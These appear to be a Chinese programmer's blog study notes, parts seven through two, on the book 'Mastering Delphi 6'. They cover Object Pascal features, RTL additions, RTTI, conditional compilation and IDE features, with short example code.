《Mastering Delphi 6》中有一个很妙的例子，用到CLX中的TextViewer。这个构件的特点是完全基于HTML的，而它有Text属性，因而又和Memo相兼容。所以，只要建立一个CLX Application，在窗体上面放上一个Memo和一个TextViewer，并修改Memo的OnChange事件：

procedure TForm1.Memo1Change(Sender: TObject);

begin

TextViewer1.Text := Memo1.Text;

end;

简简单单的一句话，产生出来的可是一个非常强的工具，你可以在Memo中按照HTML格式写内容，比如“<A HREF=”http://marcocantu.com”><IMG SRC=”viewme.gif”></A>”在TextViewer中立刻就能够看到效果，非常好的HTML学习工具哦。不过要说明的一点是，TextViewer的显示效果和我们通常在IE中看到的会有一些区别，有些网页效果是显示不出来的。但即便如此，这个程序还是让我兴奋了半天。

由于Qt的内置功能和Linux的可定制特性，因而CLX程序的外观可以是千变万化的，这就比Windows的单一外观要有趣一些。《Mastering Delphi 6》中举了一个例子。建立一个CLX Application，其中添加一个列表框和其他一些常用构件。在ListBox中增加几个表项，分别是Windows,Motif,Motif+,CDE,SGI,Platinum,SystemDefault。为ListBox增加OnDblClick处理：

procedure TForm1.ListBox1DblClick(Sender: TObject);

begin

case ListBox1.ItemIndex of

0: Application.Style.DefaultStyle := dsWindows;

1: Application.Style.DefaultStyle := dsMotif;

2: Application.Style.DefaultStyle := dsMotifPlus;

3: Application.Style.DefaultStyle := dsCDE;

4: Application.Style.DefaultStyle := dsQtSGI;

5: Application.Style.DefaultStyle := dsPlatinum;

6: Application.Style.DefaultStyle := dsSystemDefault;

end;

end;

可以看到程序显示多变的外观。其实这些外观并不是都很好看，但很有趣。如果是在Linux底下，通过定制Window Manager，还可以产生更多的变化，相信不会输给XP的超眩外观。


七

《Mastering Delphi 6》 学习笔记之七

TObject中的ClassParent是一个很让人感兴趣的方法。通过这个方法，你可以从某个类开始，层层上溯，一直到整个VCL的根TObject为止，描述出一个完整的层次列表。可以用下面的例子来检查类继承关系：

procedure TForm1.Button1Click(Sender: TObject);

var

CurrObject : TObject;

CurrClass : TClass;

begin

CurrObject := Sender;

while CurrObject<>nil do begin

Memo1.Lines.Add( 'Class name is ' + CurrObject.ClassName );

Memo1.Lines.Add( 'Instance Size is ' + IntToStr(CurrObject.InstanceSize) );

Memo1.Lines.Add( '' );

CurrClass := CurrObject.ClassParent;

if CurrClass<>nil then

CurrObject := CurrClass.NewInstance

Else

CurrObject := nil;

end;

end;

注意上面的代码实际上是有问题的---用了NewInstance而没有释放。不过作为示例就不必再复杂化了，了解用法即可。

上面例子的输出：

ClassName is TButton

Instance Size is 536

Class name is TButtonControl

Instance Size is 524

Class name is TWinControl

Instance Size is 516

Class name is TControl

Instance Size is 348

Class name is TComponent

Instance Size is 48

Class name is TPersistent

Instance Size is 4

Class name is TObject

Instance Size is 4

可以看到，TObject和TPersistent都是不包含任何成员变量的(4个字节用于VTbl)。同时可以看到,TControl和TWinControl都是相当大的类，其中一定增加了不少成员变量。而一个TButton占用的内存多达536个字节，也就是说，2个按钮就要超过1K,这多少让人有点吃惊。（如果你想用SizeOf的话，不会得到正确的结果：所有的对象用Sizeof得到的结果都是4，这说明所谓的对象其实都是指针而已。）看来虽说现在内存越来越大，但是一个窗体上的构件还是不要太多的为好。

由于TButton占用的内存之大出乎意外，所以我又作了个程序，把常用的几十种构件都放了进去，看看占用的内存大小如何。代码很简单：

procedure TForm1.FormCreate(Sender: TObject);

var

i : integer;

Item : TListItem;

Size : integer;

begin

for i:=0 to ComponentCount-1 do begin

Item := ListView1.Items.Add;

Item.Caption := Components[i].ClassName;

Size := Components[i].InstanceSize;

Item.SubItems.Add( IntToStr(Size) );

end;

end;

从结果来看，大致可以得出如下的结论：

1．非窗口构件（如TShape，TBevel）的InstanceSize大多在300多个字节；

2．基本的窗口化构件（如TButton,TEdit,TListBox）的InstanceSize大多在500到600多个字节,属于Common Control的占用量还要更多一些；

3．各种各样的网格构件（TStringGrid，TDrawGrid）占用空间都比较大（700多个字节），TDBGrid甚至达到了800个字节。

4．各种和数据库相关的构件都比较大，一般在700多到900字节不等，只有TDataSource出乎意料的小—88个字节。

5．包括上面说到的TDataSource在内，还有几个构件也非常之小，它们是TMainMenu, TActionList，TCustomizeDlg，TTimer和TDataSource，只有80-90多个字节，而其他构件最少也有300多个字节。我没有找到哪个构件的大小在100-300字节这个区间。

6．在我测试到所有构件中，其InstanceSize最大的是TChart，达到了1024个字节。

7．新增的ShellListView和ShellTreeView也是消耗内存的大户，ShellTreeView消耗的字节数达到968字节，仅次于TChart而位居亚军。

不知道你看了这个结果有何感想，我想Delphi之所以这么消耗内存和启动速度比较慢大概也是因为这个原因吧，总之构件虽好，也不可以滥用就是了。


六

《Mastering Delphi 6》学习笔记之六

Delphi 6中对RTL增加了不少函数和Helper Class，虽然不算翻天覆地的大变化，不过确实方便不少。如果有时间的话，建议大概浏览一下新增的StrUtils，DateUtils和ConvUtils这些单元，相信会发现一些有趣的东西。

如果要得到操作系统的信息，如下即可：

case Win32Platform of

VER_PLATFORM_WIN32_WINDOWS:ShowMessage ('Windows 9x');

VER_PLATFORM_WIN32_NT:ShowMessage ('Windows NT');

end;

ShowMessage ('Running on Windows:'+IntToStr (Win32MajorVersion)+'.'

+ IntToStr (Win32MinorVersion)+

' ((Build '+IntToStr (Win32BuildNumber)+

')'+#10#13 +'Update:'+Win32CSDVersion);

没有理由再调用GetVersion或者GetVersionEx了。

Delphi 6中的SysUtils增加了几个比较有用的Bool/Str conversion函数，声明如下：

function StrToBool(const S: string): Boolean;

function StrToBoolDef(const S: string; const Default: Boolean): Boolean;

function TryStrToBool(const S: string; out Value: Boolean): Boolean;

function BoolToStr(B: Boolean; UseBoolStrs: Boolean = False): string;

不用看帮助，你也应该明白这几个函数如何使用了。其中BoolToStr可能是比较常用的一个，如果不指定UseBoolStrs参数，那么返回的将会是B的Ord形式，例如，BoolToStr(True)将返回’-1’。而BoolToStr(True,True)则返回’True’。返回值取决于SysUtils单元中声明的TrueBoolStrs /FalseBoolStrs /DefaultTrueBoolStr /DefaultFalseBoolStr这几个值。遗憾的是DefaultTrueBoolStr是常量，不能够用一般的方法改变。如果要符合汉语的习惯，那么只好这样：

if Length(TrueBoolStrs)<2 then begin

Setlength(TrueBoolStrs,2);

TrueBoolStrs[0] := '真';

TrueBoolStrs[1] := DefaultTrueBoolStr;

end;

str := BoolToStr(True,True);

ShowMessage(str);

另外一些新的转换函数，例如FloatToCurr，FloatToDateTime，TryStrToFloat,TryStrToCurr等在某些情况下也是很有用的。

一个有趣并且好用的新函数：IfThen。它有Integer，Int64，Double和string四个重载版本，可以应付一般的需要，比如：

Sex := IfThen(bMale,‘男’，‘女’);

这样比If...Then...End简洁多了，很像是C++中的？：.

关于浮点操作也有许多增强函数.SameValue检查两个变量是否相等（或者相近到可以忽略其差别的地步）。CompareValue的功能也类似。DivMod可以将Div和Mod两种操作在一个函数中完成。RoundTo完成进位工作，例如，

RoundTo(1234.567,3); // 返回1000

RoundTo(1234.567,-2); // 返回1234.57

DateTime函数有这样一些增强：

function DayOf(const AValue:TDateTime):Word;

function HourOf(const AValue:TDateTime):Word;

function WeekOfYear(const AValue:TDateTime):Integer;

function HourOfWeek(const AValue:TDateTime):Integer;

function SecondOfHour(const AValue:TDateTime):Integer;

function DaysBetween(const ANow,AThen:TDateTime):Integer;

function WithinPastDays(const ANow,AThen:TDateTime;const ADays:Integer):Boolean;

下面的例子显示了一些新增的字符串操作：

ShowMessage(DupeString(‘Hello’,3)); //返回HelloHelloHello

ShowMessage(ReverseString(‘Hello’)); //返回olleH

Delphi目前也提供了对复数的支持。例如，

var

v1,v2:Variant;

begin

v1 :=VarComplexCreate (10,12);

v2 :=VarComplexCreate (10,1);

ShowMessage (v1 +v2 +5);

这个例子也反映了Object Pascal中对于Variant提供了类似于操作符重载的方法。不过，由于Variant效率不高和维护困难，一般不建议使用它们。


五

 《Mastering Delphi 6》 学习笔记之五

在某个类中用protected声明的变量，在本单元之外是不能够随意访问的（通过声明子类才可以访问其protected域）。《Mastering Delphi 6》中提到了一个不常用的技巧：

// Unit2

type TTest = class

protected

protectedVar : integer;

end;

// Unit1

type

TFake = class(TTest);

procedure TForm1.FormCreate(Sender:TObject);

var

Test : TTest;

begin

Test := TTest.Create;

// Test.protectedVar := 1; // not work!

TFake(Test).protectedVar := 1; // This works!

Test.Free;

end;

当然了，你也可以向TFake添加代码来实现同样的功能，但是上述方法的好处在于只需要一个占位符，而不需要为修改一个变量而大动干戈的派生一个类。在实际中这个技巧很少会用到，不过既然作者提到了，还是记以备考.

用来声明虚拟函数的关键字，在C++中只要一个virtual就可以了，不论是在基类还是派生类中。但是在Delphi中，一定要记住：在基类中使用virtual，在派生类中使用override。如果忘记了这一点的话，会导致两个后果：

1．编译程序的时候会得到一个“Method ‘XXX’hides the virtual method of base type ‘XXX’”（尽管程序还可以运行）；

2．多态机制将无法正常工作。例如，

type

TAnimal=class

procedure Voice;virtual;

end;

TDog=class(TAnimal)

procedure Voice;virtual;

end;

implementation

procedure TAnimal.Voice;

begin

ShowMessage(‘Animal Voice’);

end;

procedure TDog.Voice;

begin

ShowMessage(‘Dog Voice’);

end;

procedure TForm1.FormCreate(Sender:TObject);

var

a : TAnimal;

begin

a := TAnimal.Create;

a.Voice;

a.Free;

a := TDog.Create;

a.Voice;

a.Free;

end;

运行这个程序的话，你会得到两个‘Animal Voice’。只要将声明中第二个virtual 改为override，你就能得到正确的结果：一个’Animal Voice’ 和一个’Dog Voice’。

在C++中，只要基类中的函数声明为virtual，那么派生类中的同名函数也会自动成为virtual。那么Object Pascal中的override关键字是不是多此一举呢？《Mastering Delphi 6》的作者是这样解释的：声明override表明你希望基类中一定有一个同名的virtual函数，从而可以避免常见的拼写错误。例如，在C++中，你在基类中写了一个名为Func的virtual函数，并且在派生类中重载了它。不幸的是，你不小心把Func拼成了Fund。编译器无法检查出这种错误。当你在程序中将一个基类指针指向一个派生类，并且希望它自动调用派生类的Func函数的时候，实际上只能是调用了基类的Func函数，而且这一类错误很难查找和排除。

嗯，听起来似乎确有道理。

dynamic和virtual之异同

dynamic和virtual不仅作用相同，声明的语法也相同。它们唯一不同的在于内部机制。virtual的实现是通过虚拟方法表(VMT,virtual method table，和C++中的vtbl很相似)实现的，在类中每一个虚拟函数在VMT中都要占用一个位置。VMT的一个不利之处在于，不论派生类中有没有重载基类中的方法，都不会改变VMT的大小，这样VMT中很多位置实际上是重复的，在一个比较大的类库中，势必要浪费不少内存。dynamic的实现方法有所不同，它不是通过VMT中指向实际方法的指针，而是通过索引来实现的，这样只有派生类中重载了的方法才会占据实际的表项，从而节省了内存。dynamic的不利之处在于，由于dynamic的方法表格（相对于VMT，dynamic的方法表格可以称为DMT）在基类和派生类中的大小不一定相同，同一个dynamic method的表项位置也不一定相同，所以dynamic方法必须动态查找，调用效率就低一些。相比而言，在基类和派生类中的virtual method在VMT中的表项位置总是固定的，所以调用很快。

总之，dynamic的优点就是virtual的缺点，dynamic的缺点也就是virtual的优点。你可以按照自己的需要来决定究竟用virtual还是用dynamic。不过，dynamic和virtual的区别可能对于编写application framework的程序员或者对那些效率问题至关重要的程序来讲才比较重要，对于一般的应用，虚拟方法不会很多，程序规模也不是很大的情况，一般用virtual就够了。

Object Pascal也支持abstract method，只要在函数声明中加上abstract关键字即可。当然了，只有virtual或者dynamic方法才能够声明为 abstract。只是和C++中不同，你可以建立abstract class的实例，并且调用它的abstract方法：

type

TTest=class

proceudre f:virtual;abstract;

end;

procedure TForm1.FormCreate(Sender:TObject);

var

t: TTest;

begin

t := TTest.Create;

t.f;

t.Free;

end;

尽管你会得到一个编译器警告Constructing instance of 'XXXX' containing abstract method 'XXXX.XX'，但是程序仍然可以运行，只是当调用t.f的时候会产生一个运行时刻异常。不知道Object Pascal为什么这样安排，在C++中，构造一个含有抽象方法的对象无论如何都不会成功的。Object Pascal为什么要这样处理呢？我不知道。

你可能没有注意到一个关于abstract的小问题：下面的代码会有问题吗？

type

TTest=class

procedure f;virtual;abstract;

end;

TTest2=class(TTest)

procedure f;override;

end;

implementation

procedure TTest2.f;

begin

inherited;

ShowMessage(‘Test2.f!’);

end;

procedure TForm1.FormCreate(Sender:TObject);

var

t : TTest2;

begin

t := TTest2.Create;

t.f;

t.Free;

end;

在Delphi 5中，上面的代码会产生一个Abstract异常。关键在于inherited调用了基类的abstract方法。而在Delphi6中，编译器能够自动识别这种情况，从而不会导致问题。显然，Delphi 6中的这种增强更有利于OO的封装特性，你可以放心大胆的使用inherited，而不用担心基类的方法是否abstract。


四

 《Mastering Delphi 6》 学习笔记之四

在C++中，我们可以用static来声明一个属于类而不是类的某个具体实例的函数。许多人以为Object Pascal没有类似的功能，其实是有的，只要将函数声明为类方法（class procedure或者class function）就可以了。例如：

TForm1=class(TForm)

public

class procedure T;

end;

implementation

class procedure TFomr1.T;

begin

end;

你可以在项目文件中验证它是不是真的static：

begin

TForm1.T;

Application.Initialzie;

Application.CreateForm(TForm1,Form1);

Application.Run;

end;

class procedure/class function在VCL中也是相当重要的一类特殊方法。TObject的ClassName,ClassNameIs,ClassPoint,ClassInfo这四个方法全都是class function。虽然你在实际的编程中99.99999999999%的时间都不会用到它们，不过这四个函数堪称构筑整个VCL的基石。

值得一提的是，与C++中的static member function不同，Object Pascal中的class method能够具有多态的性质。例如，ClassName是TObject的一个class method，但是你调用TForm.ClassName得到的就是'TForm'，调用TButton.ClassName得到的就是'TButton'，等等。静态方法能够做到多态，岂不是非常神奇？这一切都是通过RTTI才做到的。你可以想象，如果ClassName用一般的virtual method来声明的话，就必须在每个派生类中都必须重载它才能实现类名称的正确映射，那将是多么痛苦的一件事情。

Class Reference是Object Pascal中不太为人所知晓的概念。它的语法很简单，比如，

TClass=class of TObject；

Class Reference有什么用呢？用一个小例子来说明。在Form上面放一个RadioGroup，其中包括Radio Button, Check Box， Button三项。代码如下：

type

TForm1=class(TForm)

...

private

ControlRef:TControlClass;

Counter : integer;

...

end;

implementation

procedure TForm1.FormCreate(Sender:TObject);

begin

Counter := 0;

end;

procedure TForm1.RadioGroup1Click(Sender:TObject);

begin

case RadioGroup1.ItemIndex of

0: ControlRef:=TRadioButton;

1: ControlRef:=TCheckBox;

2: ControlRef:=TButton;

end;

end;

procedure TForm1.FormMouseDown(Sender:TObject;Button:TMouseButton;Shift:TShiftState;X,Y:integer);

var

Control : TControl;

ControlName : string;

begin

if Button=mbLeft then begin

Control := TControlRef.Create(Self);

with Control do begin

Visible := False;

Parent := Self;

Left := X;

Top := Y;

ControlName := Control.ClassName + IntToStr(Counter);

Delete(ControlName,1,1);

Name := ControlName;

visible := True;

end;

end;

end;

Class Reference揭示了Object Pascal的一个令人惊讶的能力。在OO语言的一般概念中，Constructor不可能是virtual,我们调用TButton.Create建立的就是Button，TForm.Create建立的就是TForm，依此类推。但是，籍由Class Reference，VCL就拥有了virtual Construction的能力，在上面的代码中，通过单独的一个ControlRef.Create，我们建立起来的可以是任何TControl的派生对象。正是由于这种能力，Form Designer和Object Inspector才有办法操作各种各样不同类型的构件，而不管这些构件是Delphi内置的，还是我们从其他地方得到的，或者是我们自己编写的。Class Reference的概念在其他地方也被称作meta-class，是用来描述类信息的特殊类型。实际上，真正的幕后英雄是RTTI，通过RTTI，不仅使得类拥有了virtual construction的功能，而且类中的class method也有了virtual的性质。例如，TObject中的ClassName方法声明为class function ClassName:string，按道理说static method是不可能做到多态的，但实际上，我们调用TButton.ClassName得到的就是TButton，调用TForm.ClassName得到的就是TForm，通过RTTI，不可能的事情变成了可能，而且而避免了在每个派生类都要重载ClassName的麻烦。

在MFC中，如果一个对象满足下列条件：1。它是从CObject派生的；2。它的声明中包含DECLARE_DYNAMIC,并且在某个地方实现了IMPLEMENT_DYNAMIC，那么它也可以通过GetRuntimeClass()->CreateObject来实现类似的功能。所不同的是，MFC的实现方法是通过宏来在内存中建立起一个完整的CRuntimeClass表格，而Object Pascal中，由于单根继承的特性，所有对象天生就具备了这些功能。MFC的内存表格是通过程序员的声明而建立的，而Object Pascal中的RTTI表格是编译器自动生成的，彼此实现方法不同，但背后的思想是基本一致的。

通过RTTI，不仅对象可以动态生成，而且对象的属性也可以动态设置。下面这段代码不是来自《Mastering Delphi 6》，而是来自陈宽达先生的《Delphi深度历险》，它同样揭示了Object Pascal通过RTTI而具备的强大功能和灵活性：

var

i: integer;

propInfo: PPropInfo;

begin

for i:=0 to ComponentCount-1 do begin

PropInfo := GetPropInfo(Components[i].ClassInfo,’Color’);

if PropInfo<>nil then

SetOrProp(Components[i], PropInfo, clRed);

end;

end;


三

代码编辑器/窗体设计器/Object Inspector中的一些快捷键

在代码编辑器中按Ctrl+E可以 激活Increment Search。这样就避免了从菜单中选择Search->Find，再输入文本的繁琐步骤。

选中一或者几行文本，然后按Ctrl+Shift+I，可以增加这几行的缩进量；Ctrl+Shift+U减少缩进。缩进的距离取决于Editor Options里面的Auto Indent设置。

选中一些文本，按Ctrl+O+U（保持Ctrl按下，先按O，再按U），将改变选中文本的大小写。Ctrl+K+E将选中文本全部变成小写；Ctrl+K+F变成全部大写。

在Form Designer中工作的时候，选中某个构件，按下Ctrl和方向键拖动它将能够微调它的位置，而不用对齐到网格（Snap to Grid只对鼠标操作有效。）不过，如果Shift和Ctrl一起按下，则按方向键的时候构件移动会自动对齐到网格。

Object Inspector中的一个重要改进是Object Inspector支持Component reference的In-place expanding。例如，Label的FocusControl会以褐色标记，表示它是指向另一个构件的特殊属性。将FocusControl设为某个构件，在FocusControl前面会出现小的+号，允许你直接编辑这个构件的属性，而不需要选中它。

另外，在FocusControl的属性值上按住Ctrl键双击，将会跳转到FocusControl指向的构件（例如Edit1）。

Ctrl+O+O将在单元前面添加所有的编译器设置。

关于Delphi中的条件编译

Delphi支持类似于C++中条件编译的概念。其方法也很简单。不过，因为使用频率相对较少的缘故，有些人对它还是不太熟悉，而且Delphi和C++在条件编译的语法上也有一点小的差别，所以有必要简单提一下。

最简单的形式类似这样：

{$IFDEF DEBUG}

ShowMessage(‘Display a Debug Message!’);

{$ENDIF}

在Delphi 6中，支持IFDEF的一个增强的形式：IF。IF不仅可以测试符号定义，而且允许测试常量（包括常量表达式，如SizeOf，Pred，Succ等），而且能够测试组合条件。下面是一个例子：

const

DebugControl = 3;

{IF Defined(DEBUG) and (DebugControl>=3)}

ShowMessage( ‘High Debug Level!’);

{$IFEND}

熟悉C++的朋友应该注意，测试结束部分有两种形式，分别是ENDIF和IFEND，它们分别用于对应IFDEF(也包括IFNDEF)和IF，不可以混用，否则将得到一个出错信息，这是Object Pascal和C++的一个不同点。

更复杂一些的形式如下：

{$IFDEF ...}

...

{$ELSEIF ...}

...

{$ELSE}

...

{$IFEND}

条件编译在Delphi 6中变得相对比较重要，因为Delphi 6分别支持VCL和CLX这两个不同的库。因而在VCL中和其他一些地方，你能够看到类似这样的语句：

{$IF Defined(CLX)}

...

{$IFEND}

Delphi中预定义了一些条件编译符号。下面列出其中比较重要的一些：

1.VER140

这个定义暗示Delphi 6.0在Borland Pascal产品家族中的真正版本号是14.0。在Delphi 5中则定义了VER130。应用如下：

{$IFDEF VER140}

ShowMessage('Is Delphi 6!')

{$ENDIF}

{$IFDEF VER130}

ShowMessage('Is Delphi 5!')

{$ENDIF}

2．MSWINDOWS / LINUX / WIN32

前面两个定义显然是为跨平台编程而准备的。至于WIN32，你也可以把它当作MSWINDOWS来用；不过，实际上它是为Delphi 1.0/2.0的兼容性而保留的，除非你有这两个版本的应用程序需要维护，否则一般不应该再使用它。当然了，在将来的64位平台上，还会出现WIN64的定义；如果你是个很前卫的程序员，你甚至可以现在就编写这样的代码：

{$IFDEF WIN64}

...

{$ENDIF}

这样做也并不是毫无意义的，因为Delphi目前对Int64类型已经提供了不错的支持。

3．CONSOLE

指示这是一个控制台(Console)应用程序。

4．BCB

如果需要在C++Builder中编译.Pas文件，某些情况下可能需要它。

5．ConditionalExpressions

在Delphi 5和以前版本中不支持$IF。不过，用下面这种方式，不论在Delphi 5还是Delphi 6中都可以毫无问题地通过编译：

{$IFDEF ConditionalExpressions}

{$IF Defined(Debug)}

ShowMessage('Debug!');

{$IFEND}

{$ENDIF}

《Mastering Delphi 6》的作者给了我们两条忠告：

1．条件编译很有用，只要使用得当，它能够为程序提供相当的灵活性。但是，应该只在确实需要用它们的时候才用；否则，很容易让代码变得难于阅读，并且可能给调试器造成麻烦。

2．当你改变了某些定义，编译器并不一定总是能够正确的区分哪些代码需要重新编译。如果你改变了这些定义后，程序的运行情况变得有点奇怪，那么请选择Build All。

Delphi 6中引入了一个新的指示字（directive）：platform。因为Delphi 6支持跨平台编程，但是，当你需要编写一些特定于平台的代码的时候，最好用platform来声明。

下面是例子：

var

WinInteger : integer=3000 platform;

procedure Test;platform;

begin

Beep;

end;

type

WinClass=class

x : integer;

end platform;

其中class声明中platform出现的位置似乎有点奇怪，没关系，知道就行了，反正我们一般不太会用得到它（但是真有需要的时候，你也得有所了解才行）。如果你一定要寻根究底的话，《Mastering Delphi 6》的作者对此有一个简要的解释：

The position of semicolons for hint directives can be quite confusing at first. The rule is that a hint directive must appear before the semicolon following the symbol it modifies. But a proce-dure, function, or unit header declaration can be followed only by reserved words, so its hint directive can appear following the semicolon. A type, variable, or constant declaration can be followed by another identifier, so the hint directive must come before the semicolon closing its declaration. Part of the rationale behind this is that the hint directives are not reserved words, so they can be used as the name of an identifier.

关于deprecated指示字

《Mastering Delphi 6》中关于deprecated的这一段说明似乎有点古怪，文字很浅显，可是我看了三遍也没有完全搞清楚到底是在说什么。先记录在这里，以后再看好了。

The deprecated directive works in a similar way to the platform directive;the only real differences are that it is used in a different context and produces a different compiler warning.The role of deprecated is to mark dentifiers that are still part of the system for compatibility reasons,but either are going to be removed in the future or expose you to risks of incompatibility.This symbol is used sparingly in the Delphi library.

Delphi 6中另外一个相当有用的关键字是$MESSAGE。你可以用它来提醒你程序中任何值得注意的地方，比如说下面的例子：

{$MESSAGE ‘这里尚未完成，记住下次要改完！’}

当然，用To-do List也可以完成类似的工作，而且To-do List在功能上更完善一些；不过，$MESSAGE比 To-do List优越的一个地方是，编译器每次编译程序的时候都会提醒你，所以不容易忘记；相对而言，不是每个程序员都会去经常察看To-do List。

$MESSAGE也类似于Visual C++中的#pragma message。不过，在Delphi 6的Message窗口双击该行信息，就能够跳到源文件中相应定义的地方，而这一点在Visual C++中却办不到。

后记：《Mastering Delphi 6》现在才看到第65页（总共1071页），也就是说，万里长征才走完第一步。这本书读到这个地方还是很好理解的（基本上不用动用金山词霸），但是后面的内容就要艰深一些了。应该老实承认我的英文水平还是很差，读原版书满辛苦的。想起蔡学镛老师说，他开始读外文资料的时候必须正襟危坐，手头必备电子辞典，读的多了，现在已经很随意地能够把外文资料当作小说来看，不论是坐着还是躺着，都不影响阅读。什么时候我才能达到这种境界呢？


二

《Mastering Delphi 6学习笔记》之二

本文是我在阅读《Mastering Delphi 6》一书过程中的一些心得笔记，一方面因为原书是英文版，所以将一些我认为比较重要的部分整理和摘录出来，记以备忘；另一方面也希望和大家一起分享《Master Delphi 6》这本好书和Delphi 6这一优秀工具。第一部分《Object TreeView简要说明》已经贴出，从这一部分开始就按照顺序编号。因为是随手记录，所以不连贯和不周到的地方在所难免，欢迎大家批评指教。

本文不对概念和步骤详细说明，所以并不适合Delphi初学者。希望对Delphi有一定是用经验的朋友能够从本文受益。

关于Code Editor中的Diagram视图

1．和Object TreeView类似，Code Editor中的Diagram视图也是从Data Module中的类似概念发展而来的，现在也从Data Module中分离出来，从而可以应用于所有的窗体。

2．Diagram视图不会自动显示任何构件。要显示某些构件，从Object TreeView中拖动你需要的构件到Diagram视图中的白色区域即可（你可以从Object TreeView中一次拖动多个构件）。Diagram视图将会自动显示构件之间的所属关系。例如，将Form和其上的构件拖动到Diagram视图中，那么视图中所有构件上都会出现指向Form的箭头，表明所有构件都为Form所拥有。

3．可以用Diagram视图中的property connector来自动设置构件之间的一些关联。例如，添加一个TEdit和一个TLabel，并用Diagram视图中工具栏上的property connector按钮来添加一个从TLabel指向TEdit的箭头，你将会发现该箭头上自动出现FocusControl的字样，同时在Object Inspector中，Label的FocusControl被自动设置成了Edit1。这一切之所以能够自动完成，是因为TLabel所有属性中唯一一个能够指向TEdit对象的就是FocusControl属性。这样，你就可以形象化地设计对象之间的关联。反过来，你不能将property connector从Edit指向Label，因为没有对应的属性可以完成这种关联；如果你试图这样做的话，你会得到一个错误提示，并询问你的意图是否为想要一个相反方向的关联。

对于数据集构件，你还能够设置它们之间的Master/Detail关系和Lookup关系，其方法和上述步骤非常类似。

你还可以插入注释块(comment block)，从而更明确的表达你的意图。

4．Diagram视图可以进行修饰，从而更美观和明确。对于视图中每一个构件或者关联，都可以通过快捷菜单来设置它们的颜色和Z-Order顺序；对于关联箭头，你还可以任意修改它的形状和指向，增加拐点等。

5．对同一单元可以使用多个Diagram。只要在Name文本框中输入它的名字，并且添加可选的描述信息即可。通过Diagram视图中工具栏上的组合框，可以在各个Diagram之间切换。你可以为构件之间的Contains关系和数据表之间的关系分别建立Diagram，这样会更加清晰。

6．建立好一个满意的Diagram之后即可进行打印。只要让焦点保持在Diagram视图中，然后选择 File | Print 即可。

7．在Delphi 5中，Diagram信息是报存在单独的.DTI(design-time Information)中，该文件的格式和.INI文件的格式很类似，可以用文本编辑器进行编辑。在Delphi 6中，Diagram信息则是保存在.DDP(Delphi Diagram Portfolio)文件中。这种文件格式类似于.DFM的二进制格式，不能够直接编辑。不过，Delphi 6仍然能够读取.DTI文件。

关于VCL和CLX

Delphi 6 目前包括两个基本库，其中VCL是从Delphi诞生之日起就一直在使用的，而CLX（Component Library for Cross-Platform）则是支持跨平台特性的新的构件库。你可以从File | New选择使用的项目类型，可以为Normal Application或者CLX Application。你会发现用VCL和CLX编写同样的应用程序，在产生的可执行文件大小方面会有一点小的差别。

当你选择VCL Application或者CLX Application的时候，构件面板也会发生相应的变化，只显示当前使用的库所支持的构件类型。这种变化不算大，你要比较细心才能够发现。在CLX Application中，构件面板中的Win32页面消失了，取而代之的是Common Controls，其中还包括几个Win32中没有的新构件。同时，其他页面也有一些小的变化。对于用户来说，很少会注意到这些细节，但是这对于Delphi开发组来说是一个极大的挑战，因为系统的许多地方都需要重构以适应新的库。应该说在这一点上Delphi开发组做的相当出色，Delphi从前版本的用户可以毫无困难的使用Delphi 6。不过你应该知道，在类似的界面之下，底层的改变是相当巨大的—这对于特定的程序员，例如编写 ToolsAPI的编程人员和其他一些有特定需要的人来讲，是必须要了解的内容。

其他的一些变化

Delphi IDE现在添加了一个Window菜单，从而可以方便的在Form Designer，Code Editor和Object TreeView/Object Inspector之间切换。这是一个很小但非常体贴用户的改进，因为在开发环境中，经常发生某个窗口被其他窗口覆盖而找不到的事情。

（《Mastering Delphi 6》中提到，可以通过注册表中的Software\Borland\Delphi\6.0\Main Window表项来设置该菜单的显示或者隐藏，其中-1代表True，而0代表False。不过在我的注册表中没有找到这个设置，不知道如何添加。如果你发现了的话，欢迎你告诉我。）

构件面板的快捷菜单中现在添加了一个子菜单，其中包含了所有的面板名称。你可以用它来快速切换到某个面板中。如果你经常不得不在面板中来回滚动以找到某个页面，你一定会非常欣赏这个新功能的。

（在默认情况下，这个快捷菜单中面板项目是按照字母顺序排列的。你可能会希望它按照在构件面板中同样的顺序来排列。《Mastering Delphi6》中提到，可以设置注册表中的相应项目来修改这一行为。因为这一段说的表项不太明确，由于时间关系我也没有进行试验，所以就把原文放在这里好了，大家感兴趣的话可以试试看。

The order of the entries in the Tabs submenu of the Component Palette local menu can be set in the same order as the palette itself, and not sorted alphabetically. This is accomplished by setting to “0” (false) the value of the Sort Palette Tabs Menu key of the Main Window registry section of Delphi (under \Software \Borland \Delphi \6.0 for the current user).

）

其他还有一些细小的改动：

1．在Environment Options对话框中的Preference页面中新增一个选项Auto Drag Docking，允许你禁止各个工具的泊位特性。如果你不喜欢Docking的话，你可以设置这一选项。（说实在的，我不知道《Mastering Delphi6》的作者为什么特别强调这个设置；我自己是非常喜欢Docking的，我总是把Object Inspector和Object TreeView组合在一起，将Watch窗口Dock进入Code Editor中，这样实在是方便不少。不过既然作者这么说，想必又他的理由，所以我还是尊重作者的意见，将这一点列为头条。）

2．在Environment Options对话框中新增一个Enviroment variables页面，允许设置系统环境变量。这样比硬编码某些路径来说好得多了，特别是编写服务器应用的程序员可能会需要它。

3．新的Internet页面可以设置将哪些后缀名的文件视为Internet files，并且允许调试Scripts等。

关于To-do List：

除了可以在View | To-do List中可视化编辑之外，也可以在源文件中这样编辑：

procedure TForm1.FormCreate(Sender:TObject);

begin

//TODO -oMarco:Add creation code

end ;

这样将增加一个名为Add Creation code的项目，其Owner为Macro。如果你熟悉了这种方式的话，编辑起来会比用To-do List Editor更快捷（当然，管理To-do List还是要用Editor）。-o指定Owner，-c指定Category，单独的一个数字指定priority。例如：

// TODO 2 –oMacro : Mouse Pressed

如果一个To-do List已经完成，可以将TODO改成DONE来指明这一点。或者在To-do List Editor中选定Done检查框也可以。指定为DONE的项目在To-do List中将显示为带删除线的形式。

你可以在to-do List Editor中将To-do List复制为纯文本或者HTML格式来进行输出，甚至可以指定HTML的输出格式（不过有点奇怪的是，Delphi只提供了Copy to Clipboard的方式，却没有提供Export to File的功能。）

代码编辑器是多页面形式(Multi-Page Interface)的，不过在Delphi 6中，这些页面还可以通过鼠标拖动来改变排列它们在代码编辑器中的顺序。也可以通过Ctrl+Tab或者Shift+Ctrl+Tab在各个页面之间切换。在页面的快捷菜单中同样列出了编辑其中的所有页面，当编辑其中打开的文件相当多时，可以通过这一功能快速切换到特定的文件（一个小而很方便的功能，和构件面板块接菜单中的Pages菜单一样非常有用。）

